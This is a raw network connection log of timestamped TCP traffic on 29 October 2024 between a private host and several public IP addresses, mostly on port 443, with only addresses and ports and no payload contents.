Oct 29, 2024 02:46:35.455411911 CET	49842	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.455436945 CET	443	49842	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.455879927 CET	443	49842	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.455883026 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.456173897 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.456187963 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.457305908 CET	49842	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.457386017 CET	443	49842	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.459276915 CET	443	49841	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.459716082 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.459789991 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.461025000 CET	49841	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.461033106 CET	443	49841	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.461343050 CET	443	49841	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.461373091 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.461544037 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.461744070 CET	49841	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.461802959 CET	443	49841	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.463288069 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.463680983 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.463696003 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.464648008 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.464718103 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.465198994 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.465267897 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.555947065 CET	49842	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.647943974 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.647955894 CET	443	49843	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.647958994 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.647968054 CET	443	49844	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:35.647969961 CET	49841	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.759195089 CET	49843	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.759490967 CET	49844	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:35.760848999 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.760876894 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.760896921 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.760931969 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.760941029 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.760973930 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.760993004 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.760998964 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.763381004 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.763406038 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.763417006 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.763545036 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.763581038 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.763629913 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.782171011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:35.782247066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:35.919709921 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.920516968 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.920528889 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.922183037 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.922255993 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.924730062 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.924812078 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.924930096 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:35.967361927 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:35.995049953 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.995120049 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:35.995201111 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.995462894 CET	49853	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:35.995508909 CET	443	49853	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:36.050731897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:36.055807114 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.055815935 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171619892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:36.171647072 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171669960 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171726942 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.171746016 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171786070 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171803951 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.171806097 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171833992 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.171842098 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.171869993 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.171966076 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.172027111 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.172847986 CET	49852	443	192.168.2.5	23.192.223.230
Oct 29, 2024 02:46:36.172862053 CET	443	49852	23.192.223.230	192.168.2.5
Oct 29, 2024 02:46:36.175446033 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.176026106 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.176083088 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.176290989 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.176592112 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.176604986 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.176630974 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.176683903 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.177237034 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.177571058 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.177762032 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.177772999 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.178276062 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.178330898 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.179018974 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.179045916 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.179106951 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.179155111 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.179733038 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.180243015 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.180311918 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.180440903 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.180449963 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.180474997 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.183463097 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.183885098 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.183912039 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.184396982 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.184405088 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.184972048 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.185203075 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.185301065 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.185332060 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.185487986 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.185501099 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.185693026 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.185740948 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.185748100 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.185957909 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.185964108 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.186156988 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.186168909 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.186563969 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.186568022 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.213567019 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.213639975 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.213712931 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.214015007 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.214051008 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.223330021 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.223340034 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.242988110 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.311515093 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.311671019 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.311758041 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.312004089 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.312005043 CET	49846	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.312020063 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.312031031 CET	443	49846	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.314604998 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.314768076 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.314793110 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.314830065 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.314901114 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.314939976 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.315082073 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.315093040 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.315136909 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.315136909 CET	49849	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.315171003 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.315196991 CET	443	49849	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.315584898 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.315943003 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.316001892 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.316252947 CET	49845	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.316262960 CET	443	49845	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.316607952 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.316739082 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.316878080 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.317097902 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.317122936 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.317137003 CET	49848	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.317143917 CET	443	49848	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.320976019 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.321340084 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.321681023 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.322140932 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.322149038 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.322257042 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.322365046 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.322379112 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.323395014 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.323400974 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.323415041 CET	49847	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.323420048 CET	443	49847	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.325345039 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.325386047 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.325463057 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.326553106 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.326560020 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.326637983 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.327261925 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.327277899 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.327316046 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.327322960 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.327357054 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.327536106 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.327552080 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.327881098 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:36.327896118 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:36.438606024 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.438626051 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.438652992 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.438819885 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.438819885 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.438885927 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.438955069 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.484513044 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484535933 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484544992 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484579086 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484590054 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.484592915 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484607935 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484627962 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.484651089 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.484651089 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.484669924 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.561422110 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.561443090 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.561500072 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.561534882 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.561563015 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.561599970 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.602431059 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.602451086 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.602514982 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.602525949 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.602580070 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.683274031 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.683290005 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.683351040 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.683368921 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.683732033 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.720611095 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.720632076 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.720685005 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.720696926 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.720753908 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.805505037 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.805521011 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.805583954 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.805604935 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.805834055 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.838782072 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.838803053 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.838864088 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.838872910 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.838931084 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.890410900 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.890688896 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.890737057 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.891927958 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.892266035 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.892402887 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.892424107 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.892446995 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.892447948 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.928072929 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.928092957 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.928152084 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.928177118 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:36.928201914 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.928385973 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:36.936315060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:36.936388016 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:36.939358950 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.956625938 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.956650019 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.956710100 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.956721067 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:36.956753016 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.956763029 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:36.970592022 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.049746990 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.049766064 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.049819946 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.049834013 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.049869061 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.049889088 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.051492929 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.051508904 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.051578999 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.051593065 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.051641941 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.055135965 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.058882952 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.059434891 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.059457064 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.059989929 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.059993982 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.069513083 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.069895029 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.069956064 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.069967031 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.070393085 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.070404053 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.070413113 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.070415974 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.070887089 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.070889950 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.074570894 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.074589014 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.074642897 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.074652910 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.074961901 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.094558954 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.094625950 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.094794035 CET	49854	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.094827890 CET	443	49854	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.101599932 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.102210999 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.102231026 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.102617979 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.102623940 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.103921890 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.104459047 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.104475975 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.104962111 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.104979038 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.172777891 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.172799110 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.172843933 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.172862053 CET	443	49850	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:37.172892094 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.172934055 CET	49850	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:37.192572117 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.192596912 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.192670107 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.192679882 CET	443	49851	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:37.192886114 CET	49851	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:37.197149992 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.197190046 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.197244883 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.201512098 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.201601028 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.201673031 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.202497005 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.202734947 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.202795029 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.203026056 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.203036070 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.204685926 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.204689026 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.204699039 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.204701900 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.205372095 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:37.205375910 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:37.205492973 CET	49858	443	192.168.2.5	13.107.246.45
